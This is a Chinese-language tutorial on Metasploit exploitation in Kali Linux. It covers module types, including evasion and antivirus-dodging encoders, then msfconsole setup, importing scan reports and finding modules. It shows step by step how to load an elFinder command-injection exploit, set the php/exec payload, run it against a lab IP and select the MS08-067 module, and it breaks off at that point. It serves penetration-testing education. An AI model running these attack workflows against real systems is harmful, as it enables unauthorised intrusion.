漏洞利用

漏洞利用

漏洞利用是利用程序中的某些漏洞得到计算机的控制权。通过漏洞扫描,可以从目标系统中找到容易攻击的漏洞。然后,利用该漏洞获取权限,从而实现对目标系统的控制。Kali Linux提供了大量的漏洞利用工具。其中,较知名的是Metasploit渗透测试框架。

一、Metasploit概述

Metasploit是一款开源的安全漏洞检测工具。它可以帮助网络安全和IT专业人士识别安全性问题,验证漏洞的解决措施,从而完成对目标的安全性评估。该工具囊括了智能开发、代码审计、Web应用程序扫描和社会工程等各项功能。本节将介绍Metasploit的相关概念。

1.1 什么是Metasploit

Metasploit是一个免费的、可下载的框架。通过它,网络安全人员可以很容易地获取、挖掘计算机软件漏洞,并对其实施攻击。Metasploit框架可以用来发现漏洞、利用漏洞、提交漏洞,并实施攻击。而且,用户可以从其他漏洞扫描程序导入数据,基于漏洞主机的详细信息来发现可攻击漏洞,从而使用有效载荷对系统发起攻击。
Metasploit框架的强大之处就是提供了大量的渗透测试模块和插件。这些模块按照不同用途可以分为7种类型,分别是Exploits(渗透攻击模块)、Auxiliary(辅助模块)、Post(后渗透攻击模块)、Payloads(攻击载荷模块)、Encoders(编码器模块)、Nops(空指令模块)和Evasion(规避模块)。下面分别介绍这7种模块和插件的作用。

1.1.1 渗透攻击模块

渗透攻击模块主要利用发现的安全漏洞或配置弱点对目标系统进行攻击,以植入和运行攻击载荷,从而获得目标系统的访问控制权。Metasploit框架中的渗透攻击模块可以按照安全漏洞所在的位置,分为主动渗透攻击与被动渗透攻击两大类。其中,这两种攻击类型的区别如下所述。

  • 主动渗透攻击:利用的安全漏洞位于网络服务端软件与服务端软件承载的上层应用程序之中。由于这些服务通常是在主机上开启一些监听端口,并等待客户端连接。通过连接目标系统网络服务,注入一些特殊构造的包含“恶意”攻击数据的网络请求内容,触发安全漏洞,并使得远程服务器执行“恶意”数据中包含的攻击载荷,从而获取目标系统的控制权限。

  • 被动渗透攻击:利用的漏洞位于客户端软件(如浏览器、浏览器插件、电子邮件客户端、Office与Adobe等各种文档与编辑软件)。对于这类安全漏洞,渗透测试者无法主动地将数据从远程输入到客户端软件中,因此只能采用被动渗透攻击方式。通常使用的被动渗透攻击方式有构造“恶意”的网页、电子邮件或文档文件,并通过架设包含此类恶意内容的服务端、发送邮件附件、结合社会工程学攻击分发、结合网络欺骗和劫持技术等,诱骗目标用户打开或访问目标系统上的这些恶意内容,从而触发客户端软件中的安全漏洞,以获取控制目标系统的Shell会话。

1.1.2 辅助模块

辅助模块包括针对各种网络服务的扫描与检测,构建虚假服务收集登录密码、口令猜测等模块。另外,辅助模块中还包括一些无须加载的攻击载荷,这些模块不用来取得目标系统远程控制权,如拒绝服务攻击。

1.1.3 后渗透攻击模块

后渗透攻击模块主要用于取得目标系统远程控制权之后的环节,实现在受控制系统中进行各种各样的后渗透攻击动作,如获取敏感信息、进一步拓展、实施跳板攻击等。

1.1.4 攻击载荷模块

攻击载荷是在渗透攻击成功后促使目标系统运行的一段植入代码。通常作用是为渗透攻击者打开在目标系统上的控制会话连接。在传统的渗透代码开发中,攻击载荷只是一段简单的ShellCode代码,以汇编语言编制并转换为目标系统CPU体系结构支持的机器代码。在渗透攻击触发漏洞后,将程序执行流程劫持并跳转入这段代码中执行,从而完成ShellCode中的单一功能。

Metasploit攻击载荷分为Single(独立)、Stager(传输器)和Stage(传输体)3种类型。这3种攻击载荷类型的区别如下所述。

  • Single:是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非Metasploit处理工具所捕获。
  • Stager:这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条TCP连接,让目标系统主动连接渗透测试者的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个TCP监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
  • Stage:是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

1.1.5 空指令模块

空指令(NOP)是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系结构平台上的操作码是ox90。

在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区。这样,当触发渗透攻击后跳转执行ShellCode时,会有一个较大的安全着陆区,从而避免受到内存地址随机化及返回地址计算偏差等原因造成的ShellCode执行失败,提供渗透攻击的可靠性。

1.1.6 编码模块

攻击载荷与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入恶意数据缓冲区交由目标系统运行之前,Metasploit框架还需要进行编码。编码模块的主要作用有两个:第一,是确保攻击载荷中不会出现“坏字符”;第二,是对攻击载荷进行“免杀”处理,即躲避反病毒软件、IDS入侵检测系统和IPS入侵防御系统的检测与拦截。

1.1.7 规避模块

规避模块是在Metasploit 5中新增加的。用户可以使用规避模块来规避Windows Defender防火墙。Windows Defender现在是Windows系统自带的防火墙工具。它不仅可以扫描系统,还可以对系统进行实时监控。

1.1.8 插件

插件能够扩充框架的功能,或者封装已有功能构成高级功能的组件。插件可以用于集成现有的一些外部安全工具,如Nessus、OpenVAS漏洞扫描器等。

1.2 Metasploit界面

Metasploit框架提供了两种界面,分别是图形界面和终端模式。之前,还提供了一种命令行模式的界面,但是已经废弃。这里分别介绍Metasploit的图形界面和终端模式启动方法。

1.2.1 Metasploit的图形界面Armitage

Armitage是一款由Java编写的Metasploit图形界面化的攻击软件。它可以结合Metasploit中已知的exploit,对主机存在的漏洞进行自动化攻击。下面将介绍Armitage的使用方法。

启动Armitage工具。具体操作步骤如下:exploit

  1. 在图形界面依次选择“应用程序”|“漏洞利用工具集”|armitage命令,即可启动Armitage工具,如下图所示。
    没有这个工具的话,使用sudo apt install armitage命令安装。

    图片1

  2. 该对话框显示了连接Metasploit服务的基本信息。单击Connect按钮,将显示如下图所示的对话框。

    图片2

  3. 该对话框提示是否要启动Metasploit的RPC服务。单击“是(Y)”按钮,将显示如下图所示的对话框。

    图片3

  4. 该对话框显示了连接Metasploit的进度。当成功连接到Metasploit服务,将显示如下图所示的界面。

    图片4

  5. 看到该界面,则表示成功启动了Armitage工具。接下来,用户就可以使用该工具实施渗透测试了。在该界面共包括3个部分,这里把它们分别标记为A、B和C。
    A部分:显示预配置模块。用户可以在模块列表中使用空格键搜索提供的模块。
    B部分:显示活跃的目标系统,用户能执行利用漏洞攻击。
    C部分:显示多个Metasploit标签。这样,就可以运行多个Meterpreter命令或控制台会话,并且同时显示。
    例如,对目标主机实施Nmap Ping扫描,可依次选择Hosts|Nmap Scan|Ping Scan命令,如下图所示。

    图片5

  6. 在该界面选择Ping Scan命令后,即可对目标主机实施Ping扫描。

1.2.2 Metasploit的终端Msfconsole

MSF终端(Msfconsole)是目前Metasploit框架最为流行的用户接口,而且MSF终端是Metasploit框架中最灵活、功能最丰富,以及支持最好的工具之一。MSF终端提供了一站式的接口,能设置Metasploit框架中几乎每一个选项和配置。用户可以使用MSF终端做任何事情,包括发起一次渗透攻击、装载辅助模块、实施查点、创建监听器,或是对整个网络进行自动化渗透攻击等。下面将介绍Metasploit的终端模式。

启动Metasploit的终端模式。执行命令如下:

msfconsole

执行以上命令后,即可成功启动Metasploit的终端模式。如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# msfconsole        

+-------------------------------------------------------+
| METASPLOIT by Rapid7 |
+---------------------------+---------------------------+
| __________________ | |
| ==c(______(o(______(_() | |""""""""""""|======[*** |
| )=\ | | EXPLOIT \ |
| // \\ | |_____________\_______ |
| // \\ | |==[msf >]============\ |
| // \\ | |______________________\ |
| // RECON \\ | \(@)(@)(@)(@)(@)(@)(@)/ |
| // \\ | ********************* |
+---------------------------+---------------------------+
| o O o | \'\/\/\/'/ |
| o O | )======( |
| o | .' LOOT '. |
| |^^^^^^^^^^^^^^|l___ | / _||__ \ |
| | PAYLOAD |""\___, | / (_||_ \ |
| |________________|__|)__| | | __||_) | |
| |(@)(@)"""**|(@)(@)**|(@) | " || " |
| = = = = = = = = = = = = | '--------------' |
+---------------------------+---------------------------+


=[ metasploit v6.0.20-dev ]
+ -- --=[ 2081 exploits - 1125 auxiliary - 354 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]

Metasploit tip: To save all commands executed since start up
to a file, use the makerc command

msf6 >

看到命令行提示符显示为msf 6>,则表示成功启动了Metasploit的终端模式。从输出的信息可以看到支持的攻击模块及对应的数量。例如,渗透攻击载荷模块有2081个,辅助模块有1125个,后渗透攻击模块有354个,攻击载荷模块有592个,编码模块有45个,空指令模块有10个,规避模块有7个。接下来,用户就可以使用这些攻击载荷实施渗透测试了。

1.3 初始化Metasploit

在Kali Linux中,Metasploit主要使用PostgreSQL数据库存储数据。所以,在使用Metasploit框架时,需要启动PostgreSQL数据库。

执行命令如下:

service postgresql start

另外,启动PostgreSQL数据库之后,还需要使用msfdb init命令创建和初始化数据库。执行命令如下:

1
2
3
4
5
6
7
8
9
# msfdb init                                            #初始化数据库
[+] Starting database
Creating database user 'msf'
为新角色输入的口令:
再输入一遍:
Creating databases 'msf' and 'msf_test'
Creating configuration file in /usr/share/metasploit-framework/config/
database.yml
Creating initial database s

从以上输出信息中,可以看到自动创建了msf和msf_test数据库。而且,创建了数据库配置文件database.yml。

如果当前系统已经初始化Metasploit,将提示数据库已经配置。如下:

[i] Database already started
[i] The database appears to be already configured, skipping initialization

1.4 创建工作区

为了区分不同的扫描任务,可以创建多个工作区,用来保存不同扫描任务的各种信息。其中,不同工作区之间的信息相互独立,避免数据混淆。

创建工作区的语法格式如下:

workspace -a [name]

以上语法中,-a选项表示添加工作区。

创建一个名为test的工作区。具体操作步骤如下:

  1. 查看当前所在的工作区。执行命令如下:

    1
    2
    msf6 > workspace
    * default

    从输出的信息可以看到,默认只有一个default工作区。而且,当前正在使用该工作区。

  2. 创建新的工作区。执行命令如下:

    1
    2
    3
    msf6 > workspace -a test
    [*] Added workspace: test
    [*] Workspace: test

    从输出的信息可以看到,成功添加了工作区test。而且,已自动切换到新建的工作区。

  3. 查看当前的工作区。执行命令如下:

    1
    2
    3
    msf6 > workspace
    default
    * test

    从输出的信息可以看到,目前有两个工作区。其中,test是刚创建的,并且目前正在使用。如果用户想要切换工作区,可以使用workspace [name]命令进行切换。

  4. 切换工作区。执行命令如下:

    1
    2
    3
    4
    5
    msf6 > workspace default
    [*] Workspace: default
    msf6 > workspace
    test
    * default

    看到以上输出的信息,则表示成功切换到default工作区。

1.5 导入扫描报告

当用户准备好工作区后,就可以执行渗透测试任务了。此时,用户可以导入一些第三方扫描报告,来获取主机信息。

导入扫描报告的语法格式如下:

db_import[file2…]

以上语法中,参数filename表示导入的文件名。

导入OpenVAS生成的扫描报告文件openvas.xml。具体操作步骤如下:

  1. 用户在导入扫描报告之前,可以查看支持的报告格式。如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    msf6 > db_import
    Usage: db_import <filename> [file2...]

    Filenames can be globs like *.xml, or **/*.xml which will search recursively
    Currently supported file types include:
    Acunetix
    Amap Log
    Amap Log -m
    Appscan
    Burp Session XML
    Burp Issue XML
    CI
    Foundstone
    FusionVM XML
    Group Policy Preferences Credentials
    IP Address List
    IP360 ASPL
    IP360 XML v3
    Libpcap Packet Capture
    Masscan XML
    Metasploit PWDump Export
    Metasploit XML
    Metasploit Zip Export
    Microsoft Baseline Security Analyzer
    NeXpose Simple XML
    NeXpose XML Report
    Nessus NBE Report
    Nessus XML (v1)
    Nessus XML (v2)
    NetSparker XML
    Nikto XML
    Nmap XML
    OpenVAS Report
    OpenVAS XML
    Outpost24 XML
    Qualys Asset XML
    Qualys Scan XML
    Retina XML
    Spiceworks CSV Export
    Wapiti XML

    msf6 >

    从输出的信息可以看到,支持导入的所有报告文件类型,如Nessus XML、Nmap XML和OpenVAS XML等。

  2. 导入扫描报告文件openvas.xml。执行命令如下:

    1
    2
    3
    4
    msf6 > db_import /tmp/openvas.xml
    [*] Importing 'OpenVAS XML' data
    [*] Import: Parsing with 'Nokogiri v1.10.10'
    [*] Successfully imported /tmp/openvas.xml

    看到以上输出的信息,则表示成功导入了报告文件openvas.xml。

  3. 查看导入的主机。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    msf6 > workspace -v

    Workspaces
    ==========

    current name hosts services vulns creds loots notes
    ------- ---- ----- -------- ----- ----- ----- -----
    test 0 0 0 0 0 0
    * default 9 14 25 0 0 0

二、查询渗透测试模块

漏洞利用主要是通过Metasploit的渗透测试模块来实现的。所以,用户需要根据漏洞查找对应的渗透测试模块。在Metasploit中,可以使用search命令快速查找渗透测试模块。用户还可以到一些第三方网站查找渗透测试模块,并导入Metasploit中实施漏洞利用。

2.1 预分析扫描报告

在前面用户已成功导入了扫描报告。此时,用户可以对该扫描报告进行分析,找出目标系统中的漏洞。然后,根据该漏洞查找可以利用该漏洞的渗透测试模块,并实施攻击。

预分析扫描报告。具体操作步骤如下:

  1. 使用hosts命令查看报告的主机信息。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    msf6 > hosts

    Hosts
    =====

    address mac name os_name os_flavor os_sp purpose info comments
    ------- --- ---- ------- --------- ----- ------- ---- --------
    192.168.10.1 Unknown device
    192.168.10.3 Unknown device
    192.168.10.6 Unknown device
    192.168.10.9 Unknown device
    192.168.10.54 Unknown device
    192.168.10.55 Unknown device
    192.168.10.56 Unknown device
    192.168.10.73 Unknown device
    192.168.10.74 Unknown device

    从输出的信息可以看到,该扫描报告中共有9台主机。

  2. 使用vulns命令查看漏洞信息。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    msf6 > vulns

    Vulnerabilities
    ===============

    Timestamp Host Name References
    --------- ---- ---- ----------
    2020-12-18 08:48:42 UTC 192.168.10.1 source_name
    2020-12-18 08:48:42 UTC 192.168.10.1 SSL/TLS: Report Vulnerable Cipher Suites for HTTPS
    2020-12-18 08:48:43 UTC 192.168.10.74 SSL/TLS: Untrusted Certificate Authorities
    2020-12-18 08:48:43 UTC 192.168.10.6 DCE/RPC and MSRPC Services Enumeration Reporting
    2020-12-18 08:48:43 UTC 192.168.10.74 SSL/TLS: Report Weak Cipher Suites
    2020-12-18 08:48:43 UTC 192.168.10.3 DCE/RPC and MSRPC Services Enumeration Reporting
    2020-12-18 08:48:43 UTC 192.168.10.54 Cleartext Transmission of Sensitive Information via HTTP
    2020-12-18 08:48:43 UTC 192.168.10.74 Cleartext Transmission of Sensitive Information via HTTP
    2020-12-18 08:48:43 UTC 192.168.10.9 Telnet Unencrypted Cleartext Login
    2020-12-18 08:48:43 UTC 192.168.10.54 FTP Unencrypted Cleartext Login
    2020-12-18 08:48:43 UTC 192.168.10.1 Telnet Unencrypted Cleartext Login
    2020-12-18 08:48:43 UTC 192.168.10.55 FTP Unencrypted Cleartext Login
    2020-12-18 08:48:43 UTC 192.168.10.73 SSH Weak Encryption Algorithms Supported
    2020-12-18 08:48:43 UTC 192.168.10.74 SSL/TLS: Deprecated SSLv2 and SSLv3 Protocol Detection
    2020-12-18 08:48:43 UTC 192.168.10.9 jQuery < 1.9.0 XSS Vulnerability
    2020-12-18 08:48:43 UTC 192.168.10.74 SSH Weak Encryption Algorithms Supported
    2020-12-18 08:48:43 UTC 192.168.10.1 SSL/TLS: Certificate Signed Using A Weak Signature Algorithm
    2020-12-18 08:48:43 UTC 192.168.10.56 TCP timestamps
    2020-12-18 08:48:43 UTC 192.168.10.73 TCP timestamps
    2020-12-18 08:48:43 UTC 192.168.10.55 TCP timestamps
    2020-12-18 08:48:43 UTC 192.168.10.1 SSL/TLS: TLS/SPDY Protocol Information Disclosure Vulnerability (CRIME)
    2020-12-18 08:48:43 UTC 192.168.10.74 TCP timestamps
    2020-12-18 08:48:43 UTC 192.168.10.54 TCP timestamps
    2020-12-18 08:48:43 UTC 192.168.10.9 TCP timestamps
    2020-12-18 08:48:43 UTC 192.168.10.1 TCP timestamps

    从输出的信息中,可以看到扫描报告中的详细漏洞信息。以上漏洞信息中共包括4列,分别表示Timestamp(时间戳)、Host(主机地址)、Name(漏洞名称)和References(参考信息)。接下来,用户可以根据漏洞名称(Name)或参考信息(References)搜索可使用的攻击载荷。

2.2 手动查找攻击载荷

当用户确定目标系统中存在的漏洞后,可以在Metasploit中查找渗透测试模块,以选择可以利用其漏洞的渗透测试模块,进而实施渗透测试。这里介绍使用search命令手动查找渗透测试模块的方法。

查找渗透测试模块的语法格式如下:

search [options]

以上语句中,options表示支持的选项;keywords表示可使用的关键字。其中,支持的选项及含义如下:

-h:显示帮助信息。
-o:指定输出信息的保存文件,格式为CSV。
-S:指定搜索的字符串。
-u:指定搜索模块。

search命令支持的关键字及含义如下表所示。

关键字描述
aka使用别名(Also Known As,AKA)搜索模块
author通过作者搜索模块,如果author:dookie
arch通过架构搜索模块
bid通过Bugtraq ID搜索模块
cve通过CVE ID搜索模块,如cve:2009
edb通过Exploit-DB ID搜索模块
check搜索支持check方法的模块
date通过发布日期搜索模块
description通过描述信息搜索模块
fullname通过全名搜索模块
mod_time通过修改日期搜索模块
name通过描述名称搜索模块,如name:mysql
path通过路径搜索模块
platform通过运行平台搜索模块,如platform:aix
port通过端口搜索模块
rank通过漏洞严重级别搜索模块,如good。或者使用操作运算符,如gte400
ref通过模块编号搜索模块
reference通过参考信息搜索模块
target通过目标搜索模块
type搜索特定类型的模块(exploit、payload、auxiliary、encoder、evasion、post或nop),如type:exploit

手动查找CVE漏洞为2019年的渗透测试模块。执行命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf6 > search cve:2019

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/supra_smart_cloud_tv_rfi 2019-06-03 normal No Supra Smart Cloud TV Remote File Inclusion
1 auxiliary/admin/http/wp_google_maps_sqli 2019-04-02 normal Yes WordPress Google Maps Plugin SQL Injection
2 auxiliary/admin/networking/cisco_dcnm_download 2019-06-26 normal No Cisco Data Center Network Manager Unauthenticated File Download
3 auxiliary/dos/http/cable_haunt_websocket_dos 2020-01-07 normal No "Cablehaunt" Cable Modem WebSocket DoS
4 auxiliary/dos/http/metasploit_httphandler_dos 2019-09-04 normal No Metasploit HTTP(S) handler DoS
5 auxiliary/dos/http/tautulli_shutdown_exec normal No Tautulli v2.1.9 - Shutdown Denial of Service
6 auxiliary/gather/cisco_rv320_config 2019-01-24 normal No Cisco RV320/RV326 Configuration Disclosure
7 auxiliary/gather/ibm_bigfix_sites_packages_enum 2019-03-18 normal No IBM BigFix Relay Server Sites and Package Enum

……/忽略部分内容/……

从输出的信息可以看到,搜索到匹配发布日期为2019年的所有渗透测试模块。在输出的信息中共包括5列信息,分别表示Name(攻击载荷名称)、Disclosure Date(发布日期)、Rank(级别)、Check(是否支持漏洞检测)和Description(描述信息)。

查找漏洞名称为MS17-010 SMB RCE Detection的渗透测试模块。执行命令如下:

1
2
3
4
5
6
7
8
msf6 > search name:MS17-010 SMB RCE Detection

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection

从输出的信息可以看到,找到了可利用MS17-010漏洞的所有渗透测试模块。此时,用户可以选择一个渗透测试模块来实施渗透测试。例如,选择名为auxiliary/scanner/smb/smb_ms17_010的渗透测试模块。执行命令如下:

1
2
3
4
msf6 > auxiliary/scanner/smb/smb_ms17_010
[-] Unknown command: auxiliary/scanner/smb/smb_ms17_010.
This is a module we can load. Do you want to use auxiliary/scanner/smb/smb_ms17_010? [y/N] y
msf6 auxiliary(scanner/smb/smb_ms17_010) >

2.3 第三方查找

如果用户在Metasploit中找不到有效的渗透测试模块时,还可以从第三方网站查找,如CVE漏洞站点和exploitDB等。另外,Metasploit还支持导入第三方模块,并实施渗透测试。

2.3.1 通过CVE漏洞网站查找

CVE漏洞网站的地址为 https://www.cvedetails.com/ ,在浏览器中成功访问该网站后,将显示下如图所示的界面。

图片6

此时,用户在该站点页面可以通过CVE ID、产品名、生产厂商或漏洞类型来搜索渗透测试模块。例如,查询Microsoft相关的漏洞。在搜索框中输入Microsoft,单击Search按钮,然后选择搜索到的第一个结果,如下图所示。

图片7

从该界面可以看到搜索到的Microsoft相关统计信息。从统计结果中可以看到,共找到6814个漏洞。此时,选择Vulnerabilities(6814)选项,即可显示漏洞的详细信息,如下图所示。

图片8

从该界面可以看到所有的漏洞信息,包括CVE ID、漏洞类型、发布日期、更新日期及评分等。例如CVE IE为CVE-2019-11397的漏洞类型为Dir. Trav. File Inclusion,发布日期为2019-05-14,更新日期为2019-05-16等。

2.3.2 通过exploitDB漏洞网站查找

exploitDB漏洞网站的地址为 https://www.exploit-db.com/ 。在浏览器中成功访问该网站后,将显示如下图所示的界面。

图片9

在该界面输入攻击载荷的一些关键字,即可搜索到对应的渗透测试模块。在搜索时,用户还可以选择Verified和Has App复选框,过滤已验证过和容易攻击的应用程序渗透测试模块。例如,搜索Windows系统的渗透测试模块。搜索成功后,将显示如下图所示的界面。

图片10

从该界面可以看到搜索到的所有结果。在输出的信息中包括8列,分别表示Date(发布日期)、D(下载渗透攻击载荷)、A(可利用的应用程序)、V(已被验证)、Title(漏洞标题)、Type(类型)、Platform(平台)和Author(作者)。这里,用户可以选择下载及查看漏洞的详细信息。如果想要下载该渗透测试模块,则单击D列的下载按钮。如果想要想要查看该漏洞的详细信息,单击其漏洞标题名称即可。例如,查看该界面显示的第一个漏洞详细信息,结果如下图所示。

图片11

从该界面的描述信息中,可以看到该漏洞的详细信息。另外,用户还可以从该网站下载一些渗透测试模块,并手动导入Metasploit中。

2.3.3 手动导入第三方模块

Metasploit自带的模块已经很丰富了,但有时候也不能完全满足用户的需求。对于一些比较新的漏洞或者没有官方模块支持的漏洞,用户只能自己手动编写或者导入第三方模块。对于一般用户来说,通过直接导入第三方模块来使用更方便,而且也不容易出错。所以,下面将介绍手动导入第三方模块的方法。

导入从exploitDB网站下载的第三方模块,并使用该模块实施渗透测试。这里将以exiftran命令注入模块为例,并设置文件名为webtest.rb。具体操作步骤如下:

  1. 将模块文件webtest.rb复制到Metasploit对应的模块位置。其中,Metasploit模块的默认位置为/root/.msf4/modules。为了方便区分模块,用户可以按照模块的分类创建对应的文件夹,用来保存不同类型的模块。本例中将导入一个渗透攻击模块,所以这里将创建名为exploits的文件夹。如下:

    1
    # mkdir /root/.msf4/modules/exploits

    执行以上命令后,将不会有任何信息输出。这里为了方便记忆或查找模块的位置,再创建一个test目录,然后将攻击载荷文件复制进去。如下:

    1
    2
    3
    4
    5
    # cd /root/.msf4/modules/exploits/
    # mkdir test
    # cd test/
    # ls
    webtest.rb

    从输出的信息中可以看到,渗透攻击模块文件webtest.rb已被成功复制到新建的位置。

  2. 重新启动Metasploit工具,即可看到加载的渗透测试攻击模块。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    # msfconsole 


    ______________________________________________________________________________
    | |
    | METASPLOIT CYBER MISSILE COMMAND V5 |
    |______________________________________________________________________________|
    \ / /
    \ . / / x
    \ / /
    \ / + /
    \ + / /
    * / /
    / . /
    X / / X
    / ###
    / # % #
    / ###
    . /
    . / . * .
    /
    *
    + *

    ^
    #### __ __ __ ####### __ __ __ ####
    #### / \ / \ / \ ########### / \ / \ / \ ####
    ################################################################################
    ################################################################################
    # WAVE 5 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
    ################################################################################
    https://metasploit.com


    =[ metasploit v6.0.15-dev ]
    + -- --=[ 2072 exploits - 1123 auxiliary - 352 post ]
    + -- --=[ 592 payloads - 45 encoders - 10 nops ]
    + -- --=[ 7 evasion ]

    Metasploit tip: Enable HTTP request and response logging with set HttpTrace true

    从以上显示的信息中,可以看到exploits类模块由原来的2071变为2072。由此可以说明,模块已被成功导入。

  3. 选择webtest模块,并查看模块的选项。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    msf6 > use exploit/test/webtest                                 #选择使用的模块
    msf6 exploit(test/webtest) > show options #查看模块选项
    Module options (exploit/test/webtest):
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    Proxies no A proxy chain of format type:host:port
    [,type:host:port][...]
    RHOSTS yes The target address range or CIDR identifier
    RPORT 80 yes The target port (TCP)
    SSL false no Negotiate SSL/TLS for outgoing
    connections
    TARGETURI /elFinder yes The base path to elFinder
    VHOST no HTTP server virtual host
    Exploit target:
    Id Name
    -- ----
    0 Auto

    从输出的信息可以看到,显示了webtest模块的所有选项。以上信息共包括4列,分别表示Name(选项名称)、Current Setting(当前设置)、Required(是否必须设置)和Description(描述)。从输出的信息可以看到,RHOSTS必须配置选项,但目前还没有设置。

  4. 设置RHOSTS选项。执行命令如下:

    1
    2
    msf6 exploit(test/webtest) > set RHOSTS 192.168.29.141
    RHOSTS => 192.168.29.141

    从输出的信息可以看到,已设置目标主机地址为192.168.29.141。

三、实施攻击

当用户找到可利用漏洞的渗透测试模块后,即可实施攻击。为执行进一步攻击,用户还可以加载攻击载荷(Payload)。然后,配置攻击载荷,并实施攻击。

3.1 加载攻击载荷

攻击载荷就是前面提到的Payload模块。通过加载攻击载荷,以实现进一步攻击,如获取Shell和远程执行命令等。下面将介绍加载攻击载荷的方法。

加载攻击载荷的语法格式如下:

1
set payload <payload name>

以上语法中,参数payload name表示攻击载荷的名称。

  1. 启动渗透测试模块。如下:

    1
    2
    3
    # msfconsole
    msf6 > use exploit/test/webtest
    msf6 exploit(test/webtest) >
  2. 查看可加载的Payload。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    msf6 exploit(test/webtest) > show payloads
    Compatible Payloads
    ===================
    # Name Disclosure Date Rank Check Description
    - ---- --------------- ---- ----- -----------
    1 generic/custom normal No Custom Payload
    2 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
    3 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
    4 php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
    5 php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6 TCP (via perl) IPv6
    6 php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
    7 php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
    8 php/download_exec normal No PHP Executable Download and Execute
    9 php/exec normal No PHP Execute Command
    10 php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager

    从输出的信息可以看到,显示了当前渗透测试模块所有可用的payload。输出的信息共显示了6列信息,分别表示#(Payload编号)、Name(名称)、Disclosure Date(发布日期)、Rank(级别)、Check(是否支持检测)和Description(描述信息)。例如,加载一个PHP执行命令的payload,即php/exec。

  3. 加载攻击载荷。执行命令如下:

    1
    2
    msf6 exploit(test/webtest) > set payload php/exec 
    payload => php/exec

    从输出的信息可以看到,加载了名为php/exec的攻击载荷。

3.2 配置攻击载荷

当用户加载攻击载荷后,还需要进行配置,设置需要配置的参数选项。

下面将以php/exec为例,介绍配置攻击载荷的方法。如下:

  1. 使用show options命令查看可配置的选项。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    msf5 exploit(test/webtest) > show options 
    Module options (exploit/test/webtest): #模块选项
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    Proxies no A proxy chain of format ype:host:port[,type:host:port][...]
    RHOSTS 192.168.29.141 yes The target address range or CIDR identifier
    RPORT 80 yes The target port (TCP)
    SSL false no Negotiate SSL/TLS for outgoing connections
    TARGETURI /elFinder/ yes The base path to elFinder
    VHOST no HTTP server virtual host Payload options (php/exec): #Payload选项
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    CMD yes The command string to execute
    Exploit target: #可利用的目标
    Id Name
    -- ----
    0 Auto

    从输出的信息可以看到,已设置Payload的选项CMD值为dir。接下来,就可以对目标实施攻击了。

  2. 实施攻击。执行命令如下:

    1
    msf6 exploit(test/webtest) > exploit

3.3 设置架构

一些渗透测试模块可能支持多个系统架构。一般情况下,支持多系统架构的渗透测试模块都默认为自动的。当用户发起攻击后,渗透测试模块将自动根据探测的目标信息来选择目标。如果用户是通过其他途径获取目标主机的架构,也可以手动设置其架构,以提高渗透测试效率。

下面将以MS08_067漏洞模块为例,介绍设置架构的方法。具体操作步骤如下:

  1. 选择MS08_067漏洞模块,并查看模块配置选项。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    msf6 > use exploit/windows/smb/ms08_067_netapi 
    msf6 exploit(windows/smb/ms08_067_netapi) >

    Module options (exploit/windows/smb/ms08_067_netapi): #模块选项

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
    RPORT 445 yes The SMB service port (TCP)
